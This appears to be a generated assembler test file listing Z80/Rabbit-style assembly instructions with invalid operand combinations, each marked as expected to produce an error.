altd ioi ld l, (ix-128) ; Error
altd ioi ld l, (iy) ; Error
altd ioi ld l, (iy+127) ; Error
altd ioi ld l, (iy-128) ; Error
altd ioi or (hl) ; Error
altd ioi or (ix) ; Error
altd ioi or (ix+127) ; Error
altd ioi or (ix-128) ; Error
altd ioi or (iy) ; Error
altd ioi or (iy+127) ; Error
altd ioi or (iy-128) ; Error
altd ioi or a, (hl) ; Error
altd ioi or a, (ix) ; Error
altd ioi or a, (ix+127) ; Error
altd ioi or a, (ix-128) ; Error
altd ioi or a, (iy) ; Error
altd ioi or a, (iy+127) ; Error
altd ioi or a, (iy-128) ; Error
altd ioi rl (hl) ; Error
altd ioi rl (ix) ; Error
altd ioi rl (ix+127) ; Error
altd ioi rl (ix-128) ; Error
altd ioi rl (iy) ; Error
altd ioi rl (iy+127) ; Error
altd ioi rl (iy-128) ; Error
altd ioi rlc (hl) ; Error
altd ioi rlc (ix) ; Error
altd ioi rlc (ix+127) ; Error
altd ioi rlc (ix-128) ; Error
altd ioi rlc (iy) ; Error
altd ioi rlc (iy+127) ; Error
altd ioi rlc (iy-128) ; Error
altd ioi rr (hl) ; Error
altd ioi rr (ix) ; Error
altd ioi rr (ix+127) ; Error
altd ioi rr (ix-128) ; Error
altd ioi rr (iy) ; Error
altd ioi rr (iy+127) ; Error
altd ioi rr (iy-128) ; Error
altd ioi rrc (hl) ; Error
altd ioi rrc (ix) ; Error
altd ioi rrc (ix+127) ; Error
altd ioi rrc (ix-128) ; Error
altd ioi rrc (iy) ; Error
altd ioi rrc (iy+127) ; Error
altd ioi rrc (iy-128) ; Error
altd ioi sbc (hl) ; Error
altd ioi sbc (ix) ; Error
altd ioi sbc (ix+127) ; Error
altd ioi sbc (ix-128) ; Error
altd ioi sbc (iy) ; Error
altd ioi sbc (iy+127) ; Error
altd ioi sbc (iy-128) ; Error
altd ioi sbc a, (hl) ; Error
altd ioi sbc a, (ix) ; Error
altd ioi sbc a, (ix+127) ; Error
altd ioi sbc a, (ix-128) ; Error
altd ioi sbc a, (iy) ; Error
altd ioi sbc a, (iy+127) ; Error
altd ioi sbc a, (iy-128) ; Error
altd ioi sla (hl) ; Error
altd ioi sla (ix) ; Error
altd ioi sla (ix+127) ; Error
altd ioi sla (ix-128) ; Error
altd ioi sla (iy) ; Error
altd ioi sla (iy+127) ; Error
altd ioi sla (iy-128) ; Error
altd ioi sra (hl) ; Error
altd ioi sra (ix) ; Error
altd ioi sra (ix+127) ; Error
altd ioi sra (ix-128) ; Error
altd ioi sra (iy) ; Error
altd ioi sra (iy+127) ; Error
altd ioi sra (iy-128) ; Error
altd ioi srl (hl) ; Error
altd ioi srl (ix) ; Error
altd ioi srl (ix+127) ; Error
altd ioi srl (ix-128) ; Error
altd ioi srl (iy) ; Error
altd ioi srl (iy+127) ; Error
altd ioi srl (iy-128) ; Error
altd ioi sub (hl) ; Error
altd ioi sub (ix) ; Error
altd ioi sub (ix+127) ; Error
altd ioi sub (ix-128) ; Error
altd ioi sub (iy) ; Error
altd ioi sub (iy+127) ; Error
altd ioi sub (iy-128) ; Error
altd ioi sub a, (hl) ; Error
altd ioi sub a, (ix) ; Error
altd ioi sub a, (ix+127) ; Error
altd ioi sub a, (ix-128) ; Error
altd ioi sub a, (iy) ; Error
altd ioi sub a, (iy+127) ; Error
altd ioi sub a, (iy-128) ; Error
altd ioi xor (hl) ; Error
altd ioi xor (ix) ; Error
altd ioi xor (ix+127) ; Error
altd ioi xor (ix-128) ; Error
altd ioi xor (iy) ; Error
altd ioi xor (iy+127) ; Error
altd ioi xor (iy-128) ; Error
altd ioi xor a, (hl) ; Error
altd ioi xor a, (ix) ; Error
altd ioi xor a, (ix+127) ; Error
altd ioi xor a, (ix-128) ; Error
altd ioi xor a, (iy) ; Error
altd ioi xor a, (iy+127) ; Error
altd ioi xor a, (iy-128) ; Error
altd ld a, (-32768) ; Error
altd ld a, (32767) ; Error
altd ld a, (65535) ; Error
altd ld a, (bc) ; Error
altd ld a, (bc+) ; Error
altd ld a, (bc-) ; Error
altd ld a, (de) ; Error
altd ld a, (de+) ; Error
altd ld a, (de-) ; Error
altd ld a, (hl) ; Error
altd ld a, (hl+) ; Error
altd ld a, (hl-) ; Error
altd ld a, (hld) ; Error
altd ld a, (hli) ; Error
altd ld a, (ix) ; Error
altd ld a, (ix+127) ; Error
altd ld a, (ix-128) ; Error
altd ld a, (iy) ; Error
altd ld a, (iy+127) ; Error
altd ld a, (iy-128) ; Error
altd ld a, -128 ; Error
altd ld a, 127 ; Error
altd ld a, 255 ; Error
altd ld a, a ; Error
altd ld a, b ; Error
altd ld a, c ; Error
altd ld a, d ; Error
altd ld a, e ; Error
altd ld a, eir ; Error
altd ld a, h ; Error
altd ld a, iir ; Error
altd ld a, l ; Error
altd ld a, xpc ; Error
altd ld b, (hl) ; Error
altd ld b, (ix) ; Error
altd ld b, (ix+127) ; Error
altd ld b, (ix-128) ; Error
altd ld b, (iy) ; Error
altd ld b, (iy+127) ; Error
altd ld b, (iy-128) ; Error
altd ld b, -128 ; Error
altd ld b, 127 ; Error
altd ld b, 255 ; Error
altd ld b, a ; Error
altd ld b, b ; Error
altd ld b, c ; Error
altd ld b, d ; Error
altd ld b, e ; Error
altd ld b, h ; Error
altd ld b, l ; Error
altd ld bc, (-32768) ; Error
altd ld bc, (32767) ; Error
altd ld bc, (65535) ; Error
altd ld bc, -32768 ; Error
altd ld bc, 32767 ; Error
altd ld bc, 65535 ; Error
altd ld bc, bc ; Error
altd ld bc, de ; Error
altd ld c, (hl) ; Error
altd ld c, (ix) ; Error
altd ld c, (ix+127) ; Error
altd ld c, (ix-128) ; Error
altd ld c, (iy) ; Error
altd ld c, (iy+127) ; Error
altd ld c, (iy-128) ; Error
altd ld c, -128 ; Error
altd ld c, 127 ; Error
altd ld c, 255 ; Error
altd ld c, a ; Error
altd ld c, b ; Error
altd ld c, c ; Error
altd ld c, d ; Error
altd ld c, e ; Error
altd ld c, h ; Error
altd ld c, l ; Error
altd ld d, (hl) ; Error
altd ld d, (ix) ; Error
altd ld d, (ix+127) ; Error
altd ld d, (ix-128) ; Error
altd ld d, (iy) ; Error
altd ld d, (iy+127) ; Error
altd ld d, (iy-128) ; Error
altd ld d, -128 ; Error
altd ld d, 127 ; Error
altd ld d, 255 ; Error
altd ld d, a ; Error
altd ld d, b ; Error
altd ld d, c ; Error
altd ld d, d ; Error
altd ld d, e ; Error
altd ld d, h ; Error
altd ld d, l ; Error
altd ld de, (-32768) ; Error
altd ld de, (32767) ; Error
altd ld de, (65535) ; Error
altd ld de, -32768 ; Error
altd ld de, 32767 ; Error
altd ld de, 65535 ; Error
altd ld de, bc ; Error
altd ld de, de ; Error
altd ld e, (hl) ; Error
altd ld e, (ix) ; Error
altd ld e, (ix+127) ; Error
altd ld e, (ix-128) ; Error
altd ld e, (iy) ; Error
altd ld e, (iy+127) ; Error
altd ld e, (iy-128) ; Error
altd ld e, -128 ; Error
altd ld e, 127 ; Error
altd ld e, 255 ; Error
altd ld e, a ; Error
altd ld e, b ; Error
altd ld e, c ; Error
altd ld e, d ; Error
altd ld e, e ; Error
altd ld e, h ; Error
altd ld e, l ; Error
altd ld h, (hl) ; Error
altd ld h, (ix) ; Error
altd ld h, (ix+127) ; Error
altd ld h, (ix-128) ; Error
altd ld h, (iy) ; Error
altd ld h, (iy+127) ; Error
altd ld h, (iy-128) ; Error
altd ld h, -128 ; Error
altd ld h, 127 ; Error
altd ld h, 255 ; Error
altd ld h, a ; Error
altd ld h, b ; Error
altd ld h, c ; Error
altd ld h, d ; Error
altd ld h, e ; Error
altd ld h, h ; Error
altd ld h, l ; Error
altd ld hl, (-32768) ; Error
altd ld hl, (32767) ; Error
altd ld hl, (65535) ; Error
altd ld hl, (hl) ; Error
altd ld hl, (hl+127) ; Error
altd ld hl, (hl-128) ; Error
altd ld hl, (ix) ; Error
altd ld hl, (ix+127) ; Error
altd ld hl, (ix-128) ; Error
altd ld hl, (iy) ; Error
altd ld hl, (iy+127) ; Error
altd ld hl, (iy-128) ; Error
altd ld hl, (sp) ; Error
altd ld hl, (sp+0) ; Error
altd ld hl, (sp+255) ; Error
altd ld hl, -32768 ; Error
altd ld hl, 32767 ; Error
altd ld hl, 65535 ; Error
altd ld hl, bc ; Error
altd ld hl, de ; Error
altd ld hl, ix ; Error
altd ld hl, iy ; Error
altd ld l, (hl) ; Error
altd ld l, (ix) ; Error
altd ld l, (ix+127) ; Error
altd ld l, (ix-128) ; Error
altd ld l, (iy) ; Error
altd ld l, (iy+127) ; Error
altd ld l, (iy-128) ; Error
altd ld l, -128 ; Error
altd ld l, 127 ; Error
altd ld l, 255 ; Error
altd ld l, a ; Error
altd ld l, b ; Error
altd ld l, c ; Error
altd ld l, d ; Error
altd ld l, e ; Error
altd ld l, h ; Error
altd ld l, l ; Error
altd neg ; Error
altd neg a ; Error
altd or (hl) ; Error
altd or (ix) ; Error
altd or (ix+127) ; Error
altd or (ix-128) ; Error
altd or (iy) ; Error
altd or (iy+127) ; Error
altd or (iy-128) ; Error
altd or -128 ; Error
altd or 127 ; Error
altd or 255 ; Error
altd or a ; Error
altd or a, (hl) ; Error
altd or a, (ix) ; Error
altd or a, (ix+127) ; Error
altd or a, (ix-128) ; Error
altd or a, (iy) ; Error
altd or a, (iy+127) ; Error
altd or a, (iy-128) ; Error
altd or a, -128 ; Error
altd or a, 127 ; Error
altd or a, 255 ; Error
altd or a, a ; Error
altd or a, b ; Error
altd or a, c ; Error
altd or a, d ; Error
altd or a, e ; Error
altd or a, h ; Error
altd or a, l ; Error
altd or b ; Error
altd or c ; Error
altd or d ; Error
altd or e ; Error
altd or h ; Error
altd or hl, de ; Error
altd or ix, de ; Error
altd or iy, de ; Error
altd or l ; Error
altd pop af ; Error
altd pop b ; Error
altd pop bc ; Error
altd pop d ; Error
altd pop de ; Error
altd pop h ; Error
altd pop hl ; Error
altd res -1, a ; Error
altd res -1, a ; Error
altd res -1, b ; Error
altd res -1, b ; Error
altd res -1, c ; Error
altd res -1, c ; Error
altd res -1, d ; Error
altd res -1, d ; Error
altd res -1, e ; Error
altd res -1, e ; Error
altd res -1, h ; Error
altd res -1, h ; Error
altd res -1, l ; Error
altd res -1, l ; Error
altd res 0, a ; Error
altd res 0, b ; Error
altd res 0, c ; Error
altd res 0, d ; Error
altd res 0, e ; Error
altd res 0, h ; Error
altd res 0, l ; Error
altd res 1, a ; Error
altd res 1, b ; Error
altd res 1, c ; Error
altd res 1, d ; Error
altd res 1, e ; Error
altd res 1, h ; Error
altd res 1, l ; Error
altd res 2, a ; Error
altd res 2, b ; Error
altd res 2, c ; Error
altd res 2, d ; Error
altd res 2, e ; Error
altd res 2, h ; Error
altd res 2, l ; Error
altd res 3, a ; Error
altd res 3, b ; Error
altd res 3, c ; Error
altd res 3, d ; Error
altd res 3, e ; Error
altd res 3, h ; Error
altd res 3, l ; Error
altd res 4, a ; Error
altd res 4, b ; Error
altd res 4, c ; Error
altd res 4, d ; Error
altd res 4, e ; Error
altd res 4, h ; Error
altd res 4, l ; Error
altd res 5, a ; Error
altd res 5, b ; Error
altd res 5, c ; Error
altd res 5, d ; Error
altd res 5, e ; Error
altd res 5, h ; Error
altd res 5, l ; Error
altd res 6, a ; Error
altd res 6, b ; Error
altd res 6, c ; Error
altd res 6, d ; Error
altd res 6, e ; Error
altd res 6, h ; Error
altd res 6, l ; Error
altd res 7, a ; Error
altd res 7, b ; Error
altd res 7, c ; Error
altd res 7, d ; Error
altd res 7, e ; Error
altd res 7, h ; Error
altd res 7, l ; Error
altd res 8, a ; Error
altd res 8, a ; Error
altd res 8, b ; Error
altd res 8, b ; Error
altd res 8, c ; Error
altd res 8, c ; Error
altd res 8, d ; Error
altd res 8, d ; Error
altd res 8, e ; Error
altd res 8, e ; Error
altd res 8, h ; Error
altd res 8, h ; Error
altd res 8, l ; Error
altd res 8, l ; Error
altd rl (hl) ; Error
altd rl (ix) ; Error
altd rl (ix+127) ; Error
altd rl (ix-128) ; Error
altd rl (iy) ; Error
altd rl (iy+127) ; Error
altd rl (iy-128) ; Error
altd rl a ; Error
altd rl b ; Error
altd rl c ; Error
altd rl d ; Error
altd rl de ; Error
altd rl e ; Error
altd rl h ; Error
altd rl l ; Error
altd rla ; Error
altd rlc (hl) ; Error
altd rlc (ix) ; Error
altd rlc (ix+127) ; Error
altd rlc (ix-128) ; Error
altd rlc (iy) ; Error
altd rlc (iy+127) ; Error
altd rlc (iy-128) ; Error
altd rlc a ; Error
altd rlc b ; Error
altd rlc c ; Error
altd rlc d ; Error
altd rlc e ; Error
altd rlc h ; Error
altd rlc l ; Error
altd rlca ; Error
altd rr (hl) ; Error
altd rr (ix) ; Error
altd rr (ix+127) ; Error
altd rr (ix-128) ; Error
altd rr (iy) ; Error
altd rr (iy+127) ; Error
altd rr (iy-128) ; Error
altd rr a ; Error
altd rr b ; Error
altd rr c ; Error
altd rr d ; Error
altd rr de ; Error
altd rr e ; Error
altd rr h ; Error
altd rr hl ; Error
altd rr ix ; Error
altd rr iy ; Error
altd rr l ; Error
altd rra ; Error
altd rrc (hl) ; Error
altd rrc (ix) ; Error
altd rrc (ix+127) ; Error
altd rrc (ix-128) ; Error
altd rrc (iy) ; Error
altd rrc (iy+127) ; Error
altd rrc (iy-128) ; Error
altd rrc a ; Error
altd rrc b ; Error
altd rrc c ; Error
altd rrc d ; Error
altd rrc e ; Error
altd rrc h ; Error
altd rrc l ; Error
altd rrca ; Error
altd sbc (hl) ; Error
altd sbc (ix) ; Error
altd sbc (ix+127) ; Error
altd sbc (ix-128) ; Error
altd sbc (iy) ; Error
altd sbc (iy+127) ; Error
altd sbc (iy-128) ; Error
altd sbc -128 ; Error
altd sbc 127 ; Error
altd sbc 255 ; Error
altd sbc a ; Error
altd sbc a, (hl) ; Error
altd sbc a, (ix) ; Error
altd sbc a, (ix+127) ; Error
altd sbc a, (ix-128) ; Error
altd sbc a, (iy) ; Error
altd sbc a, (iy+127) ; Error
altd sbc a, (iy-128) ; Error
altd sbc a, -128 ; Error
altd sbc a, 127 ; Error
altd sbc a, 255 ; Error
altd sbc a, a ; Error
altd sbc a, b ; Error
altd sbc a, c ; Error
altd sbc a, d ; Error
altd sbc a, e ; Error
altd sbc a, h ; Error
altd sbc a, l ; Error
altd sbc b ; Error
altd sbc c ; Error
altd sbc d ; Error
altd sbc e ; Error
altd sbc h ; Error
altd sbc hl, bc ; Error
altd sbc hl, de ; Error
altd sbc hl, hl ; Error
altd sbc hl, sp ; Error
altd sbc l ; Error
altd scf ; Error
altd set -1, a ; Error
altd set -1, a ; Error
altd set -1, b ; Error
altd set -1, b ; Error
altd set -1, c ; Error
altd set -1, c ; Error
altd set -1, d ; Error
altd set -1, d ; Error
altd set -1, e ; Error
altd set -1, e ; Error
altd set -1, h ; Error
altd set -1, h ; Error
altd set -1, l ; Error
altd set -1, l ; Error
altd set 0, a ; Error
altd set 0, b ; Error
altd set 0, c ; Error
altd set 0, d ; Error
altd set 0, e ; Error
altd set 0, h ; Error
altd set 0, l ; Error
altd set 1, a ; Error
altd set 1, b ; Error
altd set 1, c ; Error
altd set 1, d ; Error
altd set 1, e ; Error
altd set 1, h ; Error
altd set 1, l ; Error
altd set 2, a ; Error
altd set 2, b ; Error
altd set 2, c ; Error
altd set 2, d ; Error
altd set 2, e ; Error
altd set 2, h ; Error
altd set 2, l ; Error
altd set 3, a ; Error
altd set 3, b ; Error
altd set 3, c ; Error
altd set 3, d ; Error
altd set 3, e ; Error
altd set 3, h ; Error
altd set 3, l ; Error
altd set 4, a ; Error
altd set 4, b ; Error
altd set 4, c ; Error
altd set 4, d ; Error
altd set 4, e ; Error
altd set 4, h ; Error
altd set 4, l ; Error
altd set 5, a ; Error
altd set 5, b ; Error
altd set 5, c ; Error
altd set 5, d ; Error
altd set 5, e ; Error
altd set 5, h ; Error
altd set 5, l ; Error
altd set 6, a ; Error
altd set 6, b ; Error
altd set 6, c ; Error
altd set 6, d ; Error
altd set 6, e ; Error
altd set 6, h ; Error
altd set 6, l ; Error
altd set 7, a ; Error
altd set 7, b ; Error
altd set 7, c ; Error
altd set 7, d ; Error
altd set 7, e ; Error
altd set 7, h ; Error
altd set 7, l ; Error
altd set 8, a ; Error
altd set 8, a ; Error
altd set 8, b ; Error
altd set 8, b ; Error
altd set 8, c ; Error
altd set 8, c ; Error
altd set 8, d ; Error
altd set 8, d ; Error
altd set 8, e ; Error
altd set 8, e ; Error
altd set 8, h ; Error
altd set 8, h ; Error
altd set 8, l ; Error
altd set 8, l ; Error
altd sla (hl) ; Error
altd sla (ix) ; Error
altd sla (ix+127) ; Error
altd sla (ix-128) ; Error
altd sla (iy) ; Error
altd sla (iy+127) ; Error
altd sla (iy-128) ; Error
altd sla a ; Error
altd sla b ; Error
altd sla c ; Error
altd sla d ; Error
altd sla e ; Error
altd sla h ; Error
altd sla l ; Error
altd sra (hl) ; Error
altd sra (ix) ; Error
altd sra (ix+127) ; Error
altd sra (ix-128) ; Error
altd sra (iy) ; Error
altd sra (iy+127) ; Error
altd sra (iy-128) ; Error
altd sra a ; Error
altd sra b ; Error
altd sra c ; Error
altd sra d ; Error
altd sra e ; Error
altd sra h ; Error
altd sra l ; Error
altd srl (hl) ; Error
altd srl (ix) ; Error
altd srl (ix+127) ; Error
altd srl (ix-128) ; Error
altd srl (iy) ; Error
altd srl (iy+127) ; Error
altd srl (iy-128) ; Error
altd srl a ; Error
altd srl b ; Error
altd srl c ; Error
altd srl d ; Error
altd srl e ; Error
altd srl h ; Error
altd srl l ; Error
altd sub (hl) ; Error
altd sub (ix) ; Error
altd sub (ix+127) ; Error
altd sub (ix-128) ; Error
altd sub (iy) ; Error
altd sub (iy+127) ; Error
altd sub (iy-128) ; Error
altd sub -128 ; Error
altd sub 127 ; Error
altd sub 255 ; Error
altd sub a ; Error
altd sub a, (hl) ; Error
altd sub a, (ix) ; Error
altd sub a, (ix+127) ; Error
altd sub a, (ix-128) ; Error
altd sub a, (iy) ; Error
altd sub a, (iy+127) ; Error
altd sub a, (iy-128) ; Error
altd sub a, -128 ; Error
altd sub a, 127 ; Error
altd sub a, 255 ; Error
altd sub a, a ; Error
altd sub a, b ; Error
altd sub a, c ; Error
altd sub a, d ; Error
altd sub a, e ; Error
altd sub a, h ; Error
altd sub a, l ; Error
altd sub b ; Error
altd sub c ; Error
altd sub d ; Error
altd sub e ; Error
altd sub h ; Error
altd sub l ; Error
altd sub m ; Error
altd xor (hl) ; Error
altd xor (ix) ; Error
altd xor (ix+127) ; Error
altd xor (ix-128) ; Error
altd xor (iy) ; Error
altd xor (iy+127) ; Error
altd xor (iy-128) ; Error
altd xor -128 ; Error
altd xor 127 ; Error
altd xor 255 ; Error
altd xor a ; Error
altd xor a, (hl) ; Error
altd xor a, (ix) ; Error
altd xor a, (ix+127) ; Error
altd xor a, (ix-128) ; Error
altd xor a, (iy) ; Error
altd xor a, (iy+127) ; Error
altd xor a, (iy-128) ; Error
altd xor a, -128 ; Error
altd xor a, 127 ; Error
altd xor a, 255 ; Error
altd xor a, a ; Error
altd xor a, b ; Error
altd xor a, c ; Error
altd xor a, d ; Error
altd xor a, e ; Error
altd xor a, h ; Error
altd xor a, l ; Error
altd xor b ; Error
altd xor c ; Error
altd xor d ; Error
altd xor e ; Error
altd xor h ; Error
altd xor l ; Error
and (ix) ; Error
and (ix+127) ; Error
and (ix-128) ; Error
and (iy) ; Error
and (iy+127) ; Error
and (iy-128) ; Error
and a', (hl) ; Error
and a', (ix) ; Error
and a', (ix+127) ; Error
and a', (ix-128) ; Error
and a', (iy) ; Error
and a', (iy+127) ; Error
and a', (iy-128) ; Error
and a', -128 ; Error
and a', 127 ; Error
and a', 255 ; Error
and a', a ; Error
and a', b ; Error
and a', c ; Error
and a', d ; Error
and a', e ; Error
and a', h ; Error
and a', l ; Error
and a, (ix) ; Error
and a, (ix+127) ; Error
and a, (ix-128) ; Error
and a, (iy) ; Error
and a, (iy+127) ; Error
and a, (iy-128) ; Error
and a, ixh ; Error
and a, ixl ; Error
and a, iyh ; Error
and a, iyl ; Error
and hl', de ; Error
and hl, de ; Error
and ix, de ; Error
and ixh ; Error
and ixl ; Error
and iy, de ; Error
and iyh ; Error
and iyl ; Error
and.a ix, de ; Error
and.a iy, de ; Error
bit -1, (hl) ; Error
bit -1, (hl) ; Error
bit -1, (ix) ; Error
bit -1, (ix) ; Error
bit -1, (ix+127) ; Error
bit -1, (ix+127) ; Error
bit -1, (ix-128) ; Error
bit -1, (ix-128) ; Error
bit -1, (iy) ; Error
bit -1, (iy) ; Error
bit -1, (iy+127) ; Error
bit -1, (iy+127) ; Error
bit -1, (iy-128) ; Error
bit -1, (iy-128) ; Error
bit -1, a ; Error
bit -1, a ; Error
bit -1, b ; Error
bit -1, b ; Error
bit -1, c ; Error
bit -1, c ; Error
bit -1, d ; Error
bit -1, d ; Error
bit -1, e ; Error
bit -1, e ; Error
bit -1, h ; Error
bit -1, h ; Error
bit -1, l ; Error
bit -1, l ; Error
bit 0, (ix) ; Error
bit 0, (ix+127) ; Error
bit 0, (ix-128) ; Error
bit 0, (iy) ; Error
bit 0, (iy+127) ; Error
bit 0, (iy-128) ; Error
bit 1, (ix) ; Error
bit 1, (ix+127) ; Error
bit 1, (ix-128) ; Error
bit 1, (iy) ; Error
bit 1, (iy+127) ; Error
bit 1, (iy-128) ; Error
bit 2, (ix) ; Error
bit 2, (ix+127) ; Error
bit 2, (ix-128) ; Error
bit 2, (iy) ; Error
bit 2, (iy+127) ; Error
bit 2, (iy-128) ; Error
bit 3, (ix) ; Error
bit 3, (ix+127) ; Error
bit 3, (ix-128) ; Error
bit 3, (iy) ; Error
bit 3, (iy+127) ; Error
bit 3, (iy-128) ; Error
bit 4, (ix) ; Error
bit 4, (ix+127) ; Error
bit 4, (ix-128) ; Error
bit 4, (iy) ; Error
bit 4, (iy+127) ; Error
bit 4, (iy-128) ; Error
bit 5, (ix) ; Error
bit 5, (ix+127) ; Error
bit 5, (ix-128) ; Error
bit 5, (iy) ; Error
bit 5, (iy+127) ; Error
bit 5, (iy-128) ; Error
bit 6, (ix) ; Error
bit 6, (ix+127) ; Error
bit 6, (ix-128) ; Error
bit 6, (iy) ; Error
bit 6, (iy+127) ; Error
bit 6, (iy-128) ; Error
bit 7, (ix) ; Error
bit 7, (ix+127) ; Error
bit 7, (ix-128) ; Error
bit 7, (iy) ; Error
bit 7, (iy+127) ; Error
bit 7, (iy-128) ; Error
bit 8, (hl) ; Error
bit 8, (hl) ; Error
bit 8, (ix) ; Error
bit 8, (ix) ; Error
bit 8, (ix+127) ; Error
bit 8, (ix+127) ; Error
bit 8, (ix-128) ; Error
bit 8, (ix-128) ; Error
bit 8, (iy) ; Error
bit 8, (iy) ; Error
bit 8, (iy+127) ; Error
bit 8, (iy+127) ; Error
bit 8, (iy-128) ; Error
bit 8, (iy-128) ; Error
bit 8, a ; Error
bit 8, a ; Error
bit 8, b ; Error
bit 8, b ; Error
bit 8, c ; Error
bit 8, c ; Error
bit 8, d ; Error
bit 8, d ; Error
bit 8, e ; Error
bit 8, e ; Error
bit 8, h ; Error
bit 8, h ; Error
bit 8, l ; Error
bit 8, l ; Error
bit.a -1, (hl) ; Error
bit.a -1, (hl) ; Error
bit.a -1, (ix) ; Error
bit.a -1, (ix) ; Error
bit.a -1, (ix+127) ; Error
bit.a -1, (ix+127) ; Error
bit.a -1, (ix-128) ; Error
bit.a -1, (ix-128) ; Error
bit.a -1, (iy) ; Error
bit.a -1, (iy) ; Error
bit.a -1, (iy+127) ; Error
bit.a -1, (iy+127) ; Error
bit.a -1, (iy-128) ; Error
bit.a -1, (iy-128) ; Error
bit.a -1, a ; Error
bit.a -1, a ; Error
bit.a -1, b ; Error
bit.a -1, b ; Error
bit.a -1, c ; Error
bit.a -1, c ; Error
bit.a -1, d ; Error
bit.a -1, d ; Error
bit.a -1, e ; Error
bit.a -1, e ; Error
bit.a -1, h ; Error
bit.a -1, h ; Error
bit.a -1, l ; Error
bit.a -1, l ; Error
bit.a 0, (ix) ; Error
bit.a 0, (ix+127) ; Error
bit.a 0, (ix-128) ; Error
bit.a 0, (iy) ; Error
bit.a 0, (iy+127) ; Error
bit.a 0, (iy-128) ; Error
bit.a 1, (ix) ; Error
bit.a 1, (ix+127) ; Error
bit.a 1, (ix-128) ; Error
bit.a 1, (iy) ; Error
bit.a 1, (iy+127) ; Error
bit.a 1, (iy-128) ; Error
bit.a 2, (ix) ; Error
bit.a 2, (ix+127) ; Error
bit.a 2, (ix-128) ; Error
bit.a 2, (iy) ; Error
bit.a 2, (iy+127) ; Error
bit.a 2, (iy-128) ; Error
bit.a 3, (ix) ; Error
bit.a 3, (ix+127) ; Error
bit.a 3, (ix-128) ; Error
bit.a 3, (iy) ; Error
bit.a 3, (iy+127) ; Error
bit.a 3, (iy-128) ; Error
bit.a 4, (ix) ; Error
bit.a 4, (ix+127) ; Error
bit.a 4, (ix-128) ; Error
bit.a 4, (iy) ; Error
bit.a 4, (iy+127) ; Error
bit.a 4, (iy-128) ; Error
bit.a 5, (ix) ; Error
bit.a 5, (ix+127) ; Error
bit.a 5, (ix-128) ; Error
bit.a 5, (iy) ; Error
bit.a 5, (iy+127) ; Error
bit.a 5, (iy-128) ; Error
bit.a 6, (ix) ; Error
bit.a 6, (ix+127) ; Error
bit.a 6, (ix-128) ; Error
bit.a 6, (iy) ; Error
bit.a 6, (iy+127) ; Error
bit.a 6, (iy-128) ; Error
bit.a 7, (ix) ; Error
bit.a 7, (ix+127) ; Error
bit.a 7, (ix-128) ; Error
bit.a 7, (iy) ; Error
bit.a 7, (iy+127) ; Error
bit.a 7, (iy-128) ; Error
bit.a 8, (hl) ; Error
bit.a 8, (hl) ; Error
bit.a 8, (ix) ; Error
bit.a 8, (ix) ; Error
bit.a 8, (ix+127) ; Error
bit.a 8, (ix+127) ; Error
bit.a 8, (ix-128) ; Error
bit.a 8, (ix-128) ; Error
bit.a 8, (iy) ; Error
bit.a 8, (iy) ; Error
bit.a 8, (iy+127) ; Error
bit.a 8, (iy+127) ; Error
bit.a 8, (iy-128) ; Error
bit.a 8, (iy-128) ; Error
bit.a 8, a ; Error
bit.a 8, a ; Error
bit.a 8, b ; Error
bit.a 8, b ; Error
bit.a 8, c ; Error
bit.a 8, c ; Error
bit.a 8, d ; Error
bit.a 8, d ; Error
bit.a 8, e ; Error
bit.a 8, e ; Error
bit.a 8, h ; Error
bit.a 8, h ; Error
bit.a 8, l ; Error
bit.a 8, l ; Error
bool hl ; Error
bool hl' ; Error
bool ix ; Error
bool iy ; Error
brlc de,b ; Error
bsla de,b ; Error
bsra de,b ; Error
bsrf de,b ; Error
bsrl de,b ; Error
call lo, -32768 ; Error
call lo, 32767 ; Error
call lo, 65535 ; Error
call lz, -32768 ; Error
call lz, 32767 ; Error
call lz, 65535 ; Error
call m, -32768 ; Error
call m, 32767 ; Error
call m, 65535 ; Error
call nv, -32768 ; Error
call nv, 32767 ; Error
call nv, 65535 ; Error
call p, -32768 ; Error
call p, 32767 ; Error
call p, 65535 ; Error
call pe, -32768 ; Error
call pe, 32767 ; Error
call pe, 65535 ; Error
call po, -32768 ; Error
call po, 32767 ; Error
call po, 65535 ; Error
call v, -32768 ; Error
call v, 32767 ; Error
call v, 65535 ; Error
ccf' ; Error
clo -32768 ; Error
clo 32767 ; Error
clo 65535 ; Error
clz -32768 ; Error
clz 32767 ; Error
clz 65535 ; Error
cm -32768 ; Error
cm 32767 ; Error
cm 65535 ; Error
cmp (ix) ; Error
cmp (ix+127) ; Error
cmp (ix-128) ; Error
cmp (iy) ; Error
cmp (iy+127) ; Error
cmp (iy-128) ; Error
cmp a, (ix) ; Error
cmp a, (ix+127) ; Error
cmp a, (ix-128) ; Error
cmp a, (iy) ; Error
cmp a, (iy+127) ; Error
cmp a, (iy-128) ; Error
cmp a, ixh ; Error
cmp a, ixl ; Error
cmp a, iyh ; Error
cmp a, iyl ; Error
cmp ixh ; Error
cmp ixl ; Error
cmp iyh ; Error
cmp iyl ; Error
cnv -32768 ; Error
cnv 32767 ; Error
cnv 65535 ; Error
cp (ix) ; Error
cp (ix+127) ; Error
cp (ix-128) ; Error
cp (iy) ; Error
cp (iy+127) ; Error
cp (iy-128) ; Error
cp a, (ix) ; Error
cp a, (ix+127) ; Error
cp a, (ix-128) ; Error
cp a, (iy) ; Error
cp a, (iy+127) ; Error
cp a, (iy-128) ; Error
cp a, ixh ; Error
cp a, ixl ; Error
cp a, iyh ; Error
cp a, iyl ; Error
cp ixh ; Error
cp ixl ; Error
cp iyh ; Error
cp iyl ; Error
cpe -32768 ; Error
cpe 32767 ; Error
cpe 65535 ; Error
cpl a' ; Error
cpo -32768 ; Error
cpo 32767 ; Error
cpo 65535 ; Error
cv -32768 ; Error
cv 32767 ; Error
cv 65535 ; Error
dec (ix) ; Error
dec (ix+127) ; Error
dec (ix-128) ; Error
dec (iy) ; Error
dec (iy+127) ; Error
dec (iy-128) ; Error
dec a' ; Error
dec b' ; Error
dec bc' ; Error
dec c' ; Error
dec d' ; Error
dec de' ; Error
dec e' ; Error
dec h' ; Error
dec hl' ; Error
dec ix ; Error
dec ixh ; Error
dec ixl ; Error
dec iy ; Error
dec iyh ; Error
dec iyl ; Error
dec l' ; Error
djnz b', ASMPC ; Error
ex (sp), hl' ; Error
ex (sp), ix ; Error
ex (sp), iy ; Error
ex af, af ; Error
ex af, af' ; Error
ex de', hl ; Error
ex de', hl' ; Error
ex de, hl' ; Error
exx ; Error
idet ; Error
im -1 ; Error
im -1 ; Error
im 0 ; Error
im 1 ; Error
im 2 ; Error
im 3 ; Error
im 3 ; Error
in (c) ; Error
in -128 ; Error
in 127 ; Error
